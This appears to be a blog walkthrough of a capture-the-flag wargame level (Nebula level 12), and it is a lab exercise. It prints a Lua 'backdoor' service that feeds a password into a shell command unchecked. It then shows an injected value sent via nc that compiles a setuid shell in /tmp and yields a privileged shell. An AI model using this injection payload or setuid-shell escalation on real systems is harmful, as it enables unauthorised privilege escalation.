There is a backdoor process listening on port 50001.Source code:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local socket = require("socket") | |
local server = assert(socket.bind("127.0.0.1", 50001)) | |
function hash(password) | |
prog = io.popen("echo "..password.." | sha1sum", "r") | |
data = prog:read("*all") | |
prog:close() | |
data = string.sub(data, 1, 40) | |
return data | |
end | |
while 1 do | |
local client = server:accept() | |
client:send("Password: ") | |
client:settimeout(60) | |
local line, err = client:receive() | |
if not err then | |
print("trying " .. line) -- log from where ;\ | |
local h = hash(line) | |
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then | |
client:send("Better luck next time\n"); | |
else | |
client:send("Congrats, your token is 413**CARRIER LOST**\n") | |
end | |
end | |
client:close() | |
end |
level12@nebula:~$ cat > /tmp/shell.c #include <unistd.h> #include <stdlib.h> int main() { int euid = geteuid(); setresuid(euid, euid, euid); system("sh"); return 0; } level12@nebula:~$ echo '; cc -o /tmp/flag12_sh /tmp/shell.c; chmod +s /tmp/flag12_sh; echo' | nc localhost 50001 Password: Better luck next time level12@nebula:~$ /tmp/flag12_sh sh-4.2$ id uid=987(flag12) gid=1013(level12) egid=987(flag12) groups=987(flag12),1013(level12) sh-4.2$ getflag You have successfully executed getflag on a target accountStill worth a flag though.
~ Dmitry
No comments:
Post a Comment